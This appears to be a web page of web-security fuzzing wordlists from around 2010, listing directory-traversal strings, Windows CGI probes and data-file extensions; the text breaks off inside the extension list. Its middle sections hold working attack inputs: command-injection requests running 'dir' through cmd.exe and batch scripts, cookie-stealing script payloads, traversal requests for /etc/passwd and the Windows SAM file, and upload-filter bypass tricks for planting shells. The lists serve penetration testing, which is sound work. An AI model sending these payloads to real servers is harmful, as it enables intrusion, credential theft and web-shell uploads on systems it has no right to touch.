..\\..\\..\\{FILE}<br /> ..\\..\\..\\..\\{FILE}<br /> ..\\..\\..\\..\\..\\{FILE}<br /> ..\\..\\..\\..\\..\\..\\{FILE}<br /> ..\\..\\..\\..\\..\\..\\..\\{FILE}<br /> ..\\..\\..\\..\\..\\..\\..\\..\\{FILE}<br /> ..\\\{FILE}<br /> ..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\..\\\..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\..\\\..\\\..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\..\\\..\\\..\\\..\\\..\\\{FILE}<br /> ./\/./{FILE}<br /> ./\/././\/./{FILE}<br /> ./\/././\/././\/./{FILE}<br /> ./\/././\/././\/././\/./{FILE}<br /> ./\/././\/././\/././\/././\/./{FILE}<br /> ./\/././\/././\/././\/././\/././\/./{FILE}<br /> ./\/././\/././\/././\/././\/././\/././\/./{FILE}<br /> ./\/././\/././\/././\/././\/././\/././\/././\/./{FILE}<br /> .\/\.\{FILE}<br /> .\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\.\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../../../../{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\..\..\..\{FILE}<br /> ./../{FILE}<br /> ./.././../{FILE}<br /> ./.././.././../{FILE}<br /> ./.././.././.././../{FILE}<br /> ./.././.././.././.././../{FILE}<br /> ./.././.././.././.././.././../{FILE}<br /> ./.././.././.././.././.././.././../{FILE}<br /> ./.././.././.././.././.././.././.././../{FILE}<br /> .\..\{FILE}<br /> .\..\.\..\{FILE}<br /> .\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\.\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\.\..\.\..\.\..\.\..\{FILE}<br /> .//..//{FILE}<br /> .//..//.//..//{FILE}<br /> .//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//.//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//.//..//.//..//.//..//.//..//{FILE}<br /> .\\..\\{FILE}<br /> .\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> ../{FILE}<br /> ../..//{FILE}<br /> ../..//../{FILE}<br /> ../..//../..//{FILE}<br /> ../..//../..//../{FILE}<br /> ../..//../..//../..//{FILE}<br /> ../..//../..//../..//../{FILE}<br /> ../..//../..//../..//../..//{FILE}<br /> ..\{FILE}<br /> ..\..\\{FILE}<br /> ..\..\\..\{FILE}<br /> ..\..\\..\..\\{FILE}<br /> ..\..\\..\..\\..\{FILE}<br /> ..\..\\..\..\\..\..\\{FILE}<br /> ..\..\\..\..\\..\..\\..\{FILE}<br /> ..\..\\..\..\\..\..\\..\..\\{FILE}<br /> ..///{FILE}<br /> ../..///{FILE}<br /> ../..//..///{FILE}<br /> ../..//../..///{FILE}<br /> ../..//../..//..///{FILE}<br /> ../..//../..//../..///{FILE}<br /> ../..//../..//../..//..///{FILE}<br /> ../..//../..//../..//../..///{FILE}<br /> ..\\\{FILE}<br /> ..\..\\\{FILE}<br /> ..\..\\..\\\{FILE}<br /> ..\..\\..\..\\\{FILE}<br /> ..\..\\..\..\\..\\\{FILE}<br /> ..\..\\..\..\\..\..\\\{FILE}<br /> ..\..\\..\..\\..\..\\..\\\{FILE}<br /> ..\..\\..\..\\..\..\\..\..\\\{FILE}<br /> &lt;/pre&gt;<br /> <br /> === Common Windows CGI (Update: 17 March 2010 - Total Statements: 76) ===<br /> &lt;pre&gt;# Common Windows CGI (Update: 17 March 2010 <br /> # fuzz inside executable directories<br /> # on windows, this is usually /scripts or /cgi-bin<br /> # adam.muntner@quietmove.com<br /> <br /> cart32.exe<br /> get32.exe<br /> visadmin.exe<br /> foxweb.exe<br /> webplus.exe?about<br /> fpsrvadm.exe<br /> MsmMask.exe<br /> cmd.exe?/c+dir<br /> cmd1.exe?/c+dir<br /> post32.exe|dir%20c:\\<br /> cgitest.exe<br /> hpnst.exe?c=p+i=<br /> Pbcgi.exe<br /> testcgi.exe<br /> webfind.exe?keywords=01234567890123456789<br /> redir.exe?URL=http%3A%2F%2Fwww%2Egoogle%2Ecom%2F%0D%0A%0D%0A%3C<br /> test-cgi.exe?&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> athcgi.exe?command=showpage&amp;script='],[0,0]];alert('Vulnerable');a=[['<br /> mkilog.exe<br /> mkplog.exe<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> perl.exe?-v<br /> perl.exe<br /> ppdscgi.exe<br /> c32web.exe/ChangeAdminPassword<br /> windmail.exe<br /> dbmlparser.exe<br /> cgimail.exe<br /> minimal.exe<br /> rguest.exe<br /> visitor.exe<br /> webbbs.exe<br /> wguest.exe<br /> /_vti_bin/fpcount.exe?Page=default.htm|Image=3|Digits=15<br /> cfgwiz.exe<br /> Cgitest.exe<br /> mailform.exe<br /> post16.exe<br /> imagemap.exe<br /> htimage.exe/path/filename?2,2<br /> htimage.exe<br /> Webnews.exe<br /> texis.exe/junk<br /> apexec.pl?etype=odp&amp;template=../../../../../../../../../../etc/passwd%00.html&amp;passurl=/category/<br /> sensepost.exe?/c+dir<br /> testcgi.exe<br /> testcgi.exe?&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> ion-p.exe?page=c:\winnt\repair\sam<br /> ../../../../../../../../../../WINNT/system32/ipconfig.exe<br /> NUL/../../../../../../../../../WINNT/system32/ipconfig.exe<br /> PRN/../../../../../../../../../WINNT/system32/ipconfig.exe<br /> c32web.exe/GetImage?ImageName=CustomerEmail.txt%00.pdf <br /> foxweb.dll<br /> wconsole.dll<br /> shtml.dll<br /> scripts/slxweb.dll/getfile?type=Library&amp;file=[invalid filename]<br /> rightfax/fuwww.dll/?<br /> WINDMAIL.EXE?%20-n%20c:\boot.ini%<br /> WINDMAIL.EXE?%20-n%20c:\boot.ini%20Hacker@hax0r.com%20|%20dir%20c:\\<br /> GW5/GWWEB.EXE<br /> GW5/GWWEB.EXE?GET-CONTEXT&amp;HTMLVER=AAA<br /> GW5/GWWEB.EXE?HELP=bad-request<br /> GWWEB.EXE?HELP=bad-request<br /> echo.bat<br /> echo.bat?&amp;dir+c:\\<br /> hello.bat?&amp;dir+c:\\<br /> input.bat?|dir%20..\\..\\..\\..\\..\\..\\..\\..\\..\\<br /> input2.bat?|dir<br /> input2.bat?|dir%20..\\..\\..\\..\\..\\..\\..\\..\\..\\<br /> test-cgi.bat<br /> test.bat?|dir%20..\\..\\..\\..\\..\\..\\..\\..\\..\\<br /> tst.bat|dir%20..\\..\\..\\..\\..\\..\\..\\..\\,<br /> &lt;/pre&gt;<br /> <br /> === File Upload Filter Bypass (Update: 17 March 2010 - notes only) ===<br /> &lt;pre&gt;# File Upload Fuzzfile - File Name Filter Bypass<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> # For MIME filter bypass, your shellscript should look like<br /> # -------<br /> # GIF89aP;<br /> # [shell]<br /> # -------<br /> #<br /> # For mod_cgi Server Side Include upload attacks<br /> #<br /> #&lt;!--#exec cmd=&quot;ls&quot; --&gt;<br /> #<br /> #or, on Windows<br /> #<br /> #&lt;!--#exec cmd=&quot;dir&quot; --&gt;<br /> #<br /> # Sometimes you can overwrite .htaccess in an upload folder on Apache httpd, try setting .jpg to executable. If you can set the target directory, try fuzz the list of all dirs you've enumberated on the servers, and try the commonly writable directory fuzzfile.<br /> #<br /> # example .htaccess that sets mime type .jpg to be executable:<br /> # -----<br /> # AddType application/x-httpd-php .jpg<br /> # -----<br /> &lt;/pre&gt;<br /> <br /> === Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 2) ===<br /> &lt;pre&gt;# Cross-Platform File Upload Filter Bypass Appends (Update: 17 March 2010<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> %00index.html<br /> ;index.html<br /> &lt;/pre&gt;<br /> <br /> === PHp-Specific Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 7) ===<br /> &lt;pre&gt;# Cross-Platform File Upload Filter Bypass Appends (Update: 17 March 2010 - notes<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> # also: use &quot;gim&quot; to create a .jpg image with the meta comment field set to:<br /> # -----<br /> #&lt;?php phpinfo(); ?&gt; <br /> #-----<br /> <br /> {PHPSCRIPT}<br /> {PHPSCRIPT}.phtml<br /> {PHPSCRIPT}.php.html<br /> {PHPSCRIPT}.php::$DATA<br /> {PHPSCRIPT}.php.php.rar <br /> {PHPSCRIPT}.php.rar<br /> &lt;/pre&gt;<br /> <br /> === Microsoft-Specific Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 14) ===<br /> &lt;pre&gt;# Microsoft-Specific Cross-Platform File Upload Filter Bypass Appends (Update: 17 March 2009<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> {ASPSCRIPT}<br /> {ASPSCRIPT};<br /> {ASPSCRIPT};.jpg<br /> {ASPSCRIPT};.pdf<br /> {ASPSCRIPT};.html<br /> {ASPSCRIPT};.htm<br /> {ASPSCRIPT};.txt<br /> {ASPSCRIPT};.xyz<br /> {ASPSCRIPT};.zip<br /> {ASPSCRIPT};.tgz<br /> {ASPSCRIPT};.doc<br /> {ASPSCRIPT};.docx<br /> {ASPSCRIPT};.xls<br /> {ASPSCRIPT};.xlsx<br /> &lt;/pre&gt;<br /> <br /> === Commonly Writable directories File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 9) ===<br /> &lt;pre&gt;#Commonly Writable directories File Upload Filter Bypass - Filename Appends (Update: 17 March 2010) <br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> {HOST}/templates_compiled/<br /> {HOST}/templates_c/<br /> {HOST}/templates/<br /> {HOST}/temporary/<br /> {HOST}/images/<br /> {HOST}/cache/<br /> {HOST}/temp/<br /> {HOST}/files/<br /> {HOST}/tmp/<br /> &lt;/pre&gt;<br /> <br /> === Common Data File Extensions (Update: 16 March 2010 - Total Statements: 863) ===<br /> &lt;pre&gt;<br /> #Common Data File Extensions (Update: 16 March 2010 - Total Statements: 863<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> &lt;pre&gt;<br /> .$er<br /> .123<br /> .1pe<br /> .1ph<br /> .3dr<br /> .3dt<br /> .3me<br /> .3pe<br /> .4dl<br /> .4dv<br /> .8xk<br /> .^^^<br /> .a3l<br /> .a3m<br /> .a3w<br /> .a4l<br /> .a4m<br /> .a4w<br /> .a5l<br /> .a5w<br /> .a65<br /> .aao<br /> .ab<br /> .ab1<br /> .ab2<br /> .ab3<br /> .abcd<br /> .abi<br /> .abp<br /> .aby<br /> .aca<br /> .acc<br /> .accdb<br /> .acf<br /> .acg<br /> .ade<br /> .adp<br /> .adt<br /> .adx<br /> .aft<br /> .agd<br /> .aifb<br /> .alc<br /> .ald<br /> .ali<br /> .amb<br /> .amsorm<br /> .an1<br /> .anme<br /> .apr<br /> .arc<br /> .arh<br /> .ask<br /> .asm<br /> .ast<br /> .at5<br /> .att<br /> .aw<br /> .awg<br /> .azw<br /> .bafl<br /> .bci<br /> .bcm<br /> .bdf<br /> .bdic<br /> .bfx<br /> .bgl<br /> .bgt<br /> .bin<br /> .bjo<br /> .bk<br /> .bkk<br /> .blb<br /> .bld<br /> .blg<br /> .bok<br /> .box<br /> .brd<br /> .brw<br /> .btf<br /> .btif<br /> .btm<br /> .btr<br /> .cap<br /> .cat<br /> .cbg<br /> .cch<br /> .ccr<br /> .cct<br /> .cdb<br /> .cdd<br /> .cdf<br /> .cdp<br /> .cdr<br /> .cdx<br /> .cel<br /> .celtx<br /> .chg<br /> .chk<br /> .chn<br /> .ckd<br /> .ckt<br /> .cl2<br /> .cl4<br /> .clb<br /> .clix<br /> .clm<br /> .clp<br /> .cmbl<br /> .cna<br /> .contact<br /> .cpi<br /> .cpmz<br /> .crd<br /> .crtx<br /> .csa<br /> .csv<br /> .ctf<br /> .ctt<br /> .cursorfx<br /> .curxptheme<br /> .cvd<br /> .cvn<br /> .cwk<br /> .cws<br /> .cwz<br /> .cxt<br /> .cyo<br /> .cys<br /> .daf<br /> .dal<br /> .dam<br /> .das<br /> .dat<br /> .data<br /> .db<br /> .db2<br /> .db3<br /> .dbc<br /> .dbd<br /> .dbf<br /> .dbx<br /> .dcf<br /> .dcl<br /> .dcm<br /> .dcmd<br /> .ddc<br /> .ddcx<br /> .ddt<br /> .dem<br /> .des<br /> .dex<br /> .dfm<br /> .dfproj<br /> .dft<br /> .dgb<br /> .dif<br /> .dii<br /> .dlg<br /> .dm2<br /> .dmo<br /> .dmsk<br /> .dnc<br /> .dockzip<br /> .dp1<br /> .dpn<br /> .dpx<br /> .drl<br /> .dsb<br /> .dsd<br /> .dsk<br /> .dsy<br /> .dsz<br /> .dt0<br /> .dt1<br /> .dt2<br /> .dta<br /> .dtr<br /> .dvdproj<br /> .dvo<br /> .dwi<br /> .e00<br /> .eap<br /> .ebuild<br /> .ec0<br /> .eco<br /> .ecx<br /> .edb<br /> .edf<br /> .eep<br /> .efx<br /> .egp<br /> .emb<br /> .emd<br /> .emlxpart<br /> .enc<br /> .enw<br /> .epp<br /> .epub<br /> .epw<br /> .er1<br /> .esp<br /> .ess<br /> .est<br /> .esx<br /> .et<br /> .eta<br /> .etd<br /> .etl<br /> .ev<br /> .ev3<br /> .evt<br /> .evy<br /> .exif<br /> .exp<br /> .exx<br /> .fa<br /> .fasta<br /> .fbl<br /> .fcd<br /> .fcs<br /> .fdb<br /> .ffd<br /> .ffwp<br /> .fhc<br /> .fid<br /> .fil<br /> .flame<br /> .fll<br /> .flo<br /> .flp<br /> .flt<br /> .fm<br /> .fm5<br /> .fmp<br /> .fo<br /> .fob<br /> .fol<br /> .fop<br /> .fox<br /> .fp<br /> .fp3<br /> .fp4<br /> .fp5<br /> .fp7<br /> .frl<br /> .frm<br /> .fro<br /> .frx<br /> .fsb<br /> .fsc<br /> .ftm<br /> .ftw<br /> .gan<br /> .gbr<br /> .gc<br /> .gcx<br /> .gdb<br /> .ged<br /> .gedcom<br /> .gen<br /> .ggb<br /> .gml<br /> .gms<br /> .gno<br /> .gnp<br /> .gp3<br /> .gpi<br /> .gps<br /> .gpx<br /> .gra<br /> .grade<br /> .grf<br /> .grib<br /> .grk<br /> .grr<br /> .grv<br /> .gs<br /> .gst<br /> .gtp<br /> .gwk<br /> .gxl<br /> .hcc<br /> .hce<br /> .hci<br /> .hcp<br /> .hcr<br /> .hcu<br /> .hda<br /> .hdb<br /> .hdf<br /> .hdi<br /> .hdl<br /> .hif<br /> .hl<br /> .hml<br /> .hmt<br /> .hs2<br /> .hsk<br /> .hst<br /> .htg<br /> .huh<br /> .hyv<br /> .i5z<br /> .ib<br /> .ics<br /> .id2<br /> .idx<br /> .igc<br /> .ihx<br /> .ii<br /> .iif<br /> .img<br /> .imt<br /> .ink<br /> .inp<br /> .ins<br /> .ip<br /> .irock<br /> .irr<br /> .irx<br /> .isf<br /> .itdb<br /> .itl<br /> .itm<br /> .itn<br /> .itw<br /> .itx<br /> .ivt<br /> .iw<br /> .ixb<br /> .jasper<br /> .jdb<br /> .jef<br /> .jmp<br /> .jnt<br /> .job<br /> .joboptions<br /> .joined<br /> .jph<br /> .jrprint<br /> .jrxml<br /> .jude<br /> .kap<br /> .kdb<br /> .kid<br /> .kismac<br /> .kmz<br /> .kpf<br /> .kpp<br /> .kpr<br /> .kpx<br /> .kpz<br /> .l<br /> .l6t<br /> .laccdb<br /> .lbl<br /> .lbx<br /> .lcd<br /> .lcf<br /> .lcm<br /> .ldif<br /> .lex<br /> .lgc<br /> .lgf<br /> .lgh<br /> .lgi<br /> .lgl<br /> .lib<br /> .lif<br /> .livereg<br /> .liveupdate<br /> .lix<br /> .llb<br /> .lms<br /> .lmx<br /> .lnt<br /> .loc<br /> .lp7<br /> .lrf<br /> .lrs<br /> .lrx<br /> .lsf<br /> .lsl<br /> .lsp<br /> .lsr<br /> .lst<br /> .lsu<br /> .lvm<br /> .lw4<br /> .ly<br /> .m<br /> .mag<br /> .mai<br /> .map<br /> .masseffectprofile<br /> .mat<br /> .mbb<br /> .mbf<br /> .mbg<br /> .mbl<br /> .mbp<br /> .mbx<br /> .mc1<br /> .mc9<br /> .mcd<br /> .md<br /> .mdb<br /> .mdc<br /> .mdf<br /> .mdl<br /> .mdm<br /> .mdn<br /> .mdt<br /> .mdx<br /> .mdz<br /> .mem<br /> .menc<br /> .met<br /> .mex<br /> .mfo<br /> .mfp<br /> .mgc<br /> .mls<br /> .mm<br /> .mmap<br /> .mmc<br /> .mmf<br /> .mmp<br /> .mnc<br /> .mng<br /> .mnk<br /> .mno<br /> .mny<br /> .mobi<br /> .moho<br /> .mosaic<br /> .mox<br /> .mpd<br /> .mpj<br /> .mpp<br /> .mpt<br /> .mpx<br /> .mpz<br /> .mq4<br /> .ms10<br /> .mth<br /> .mtw<br /> .mud<br /> .muf<br /> .mw<br /> .mwf<br /> .mws<br /> .mwx<br /> .mxd<br /> .myd<br /> .myi<br /> .nb<br /> .nc<br /> .ndf<br /> .ndk<br /> .ndx<br /> .net<br /> .neta<br /> .nfo<br /> .nitf<br /> .nmind<br /> .not<br /> .notebook<br /> .np<br /> .npl<br /> .npt<br /> .nrl<br /> .ns2<br /> .ns3<br /> .ns4<br /> .nsf<br /> .ntx<br /> .numbers<br /> .nvl<br /> .nyf<br /> .oab<br /> .obj<br /> .odb<br /> .odf<br /> .odp<br /> .ods<br /> .odx<br /> .oeaccount<br /> .ofc<br /> .ofm<br /> .oft<br /> .ofx<br /> .omcs<br /> .omp<br /> .ond<br /> .one<br /> .oo3<br /> .opf<br /> .opx<br /> .or2<br /> .or3<br /> .or4<br /> .or5<br /> .or6<br /> .org<br /> .orx<br /> .otf<br /> .otl<br /> .otln<br /> .ots<br /> .out<br /> .ov2<br /> .ova<br /> .ovf<br /> .p96<br /> .p97<br /> .pab<br /> .paf<br /> .pan<br /> .pbd<br /> .pc<br /> .pcap<br /> .pcb<br /> .pcr<br /> .pd4<br /> .pd5<br /> .pdas<br /> .pdb<br /> .pdd<br /> .pdm<br /> .pds<br /> .pdx<br /> .peb<br /> .pec<br /> .pep<br /> .pex<br /> .pfc<br /> .pfl<br /> .phb<br /> .phm<br /> .pi<br /> .pis<br /> .pjx<br /> .pka<br /> .pkb<br /> .pkh<br /> .pks<br /> .pkt<br /> .pln<br /> .plw<br /> .pmo<br /> .pmr<br /> .pnproj<br /> .pnpt<br /> .pns<br /> .pnt<br /> .pod<br /> .poi<br /> .pos<br /> .postal<br /> .pot<br /> .potm<br /> .potx<br /> .pp2<br /> .ppf<br /> .pps<br /> .ppsx<br /> .ppt<br /> .pptm<br /> .pptx<br /> .prc<br /> .pre<br /> .prf<br /> .prj<br /> .prm<br /> .prs<br /> .psa<br /> .psf<br /> .psm<br /> .pst<br /> .ptb<br /> .ptf<br /> .ptk<br /> .ptm<br /> .ptn<br /> .ptt<br /> .ptz<br /> .pvl<br /> .pwd<br /> .pxj<br /> .pxl<br /> .q07<br /> .q08<br /> .q09<br /> .q3d<br /> .qbw<br /> .qdat<br /> .qdf<br /> .qdfm<br /> .qel<br /> .qfx<br /> .qif<br /> .qpb<br /> .qpf<br /> .qph<br /> .qpm<br /> .qpw<br /> .qrp<br /> .qsd<br /> .ral<br /> .rbt<br /> .rcd<br /> .rcg<br /> .rdb<br /> .rdf<br /> .rdx<br /> .ref<br /> .ret<br /> .rf1<br /> .rfa<br /> .rfo<br /> .rge<br /> .rgn<br /> .rgo<br /> .rmuf<br /> .rnq<br /> .rod<br /> .rog<br /> .roi<br /> .rou<br /> .rpp<br /> .rpt<br /> .rrt<br /> .rsc<br /> .rsd<br /> .rsw<br /> .rte<br /> .rvt<br /> .rwg<br /> .rzb<br /> .s85<br /> .saf<br /> .sam07<br /> .sar<br /> .sav<br /> .sbd<br /> .sbf<br /> .sbq<br /> .sbt<br /> .sca<br /> .scf<br /> .sch<br /> .sdb<br /> .sdc<br /> .sdf<br /> .sdp<br /> .sdq<br /> .sds<br /> .sen<br /> .seo<br /> .seq<br /> .ser<br /> .sgml<br /> .sgn<br /> .shp<br /> .shs<br /> .shx<br /> .skc<br /> .skv<br /> .skx<br /> .sle<br /> .slk<br /> .slp<br /> .snapfireshow<br /> .sonic<br /> .soundpack<br /> .spo<br /> .sps<br /> .spub<br /> .spv<br /> .sq<br /> .sqd<br /> .sql<br /> .sqlite<br /> .sqr<br /> .sta<br /> .stc<br /> .stf<br /> .stk<br /> .stl<br /> .stm<br /> .stp<br /> .str<br /> .stt<br /> .stw<br /> .styk<br /> .stykz<br /> .swk<br /> .sxc<br /> .sxi<br /> .sy3<br /> .t01<br /> .t02<br /> .t03<br /> .t04<br /> .t05<br /> .t06<br /> .t07<br /> .t08<br /> .t09<br /> .t2<br /> .t3001<br /> .tax2008<br /> .tax2009<br /> .tb<br /> .tbk<br /> .tbl<br /> .tcc<br /> .tcx<br /> .tda<br /> .tdl<br /> .tdm<br /> .tdt<br /> .te<br /> .te3<br /> .teacher<br /> .tef<br /> .tet<br /> .tfa<br /> .tfd<br /> .tfrd<br /> .tjp<br /> .tk3<br /> .tkfl<br /> .tmw<br /> .tol<br /> .topc<br /> .tpb<br /> .tps<br /> .tr3<br /> .tra<br /> .trd<br /> .trk<br /> .trs<br /> .trx<br /> .tst<br /> .tsv<br /> .ttk<br /> .txa<br /> .txd<br /> .txf<br /> .uccapilog<br /> .ud<br /> .udb<br /> .udeb<br /> .uds<br /> .ulf<br /> .ulz<br /> .update<br /> .upoi<br /> .usr<br /> .uvf<br /> .uwl<br /> .val<br /> .vbpf1<br /> .vcd<br /> .vce<br /> .vcf<br /> .vcs<br /> .vdb<br /> .vdx<br /> .vfs<br /> 